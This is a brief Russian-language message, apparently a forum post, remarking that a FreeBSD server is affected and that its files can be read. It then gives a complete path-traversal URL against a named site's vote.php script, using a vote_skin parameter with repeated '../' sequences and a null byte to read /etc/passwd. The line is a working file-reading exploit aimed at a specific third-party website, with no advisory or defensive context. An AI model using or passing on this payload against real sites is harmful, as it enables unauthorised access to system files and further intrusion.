Это у нас freebsd и там это стандартная ситуация. Файлы тоже читаются
http://www.gerz.ru/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00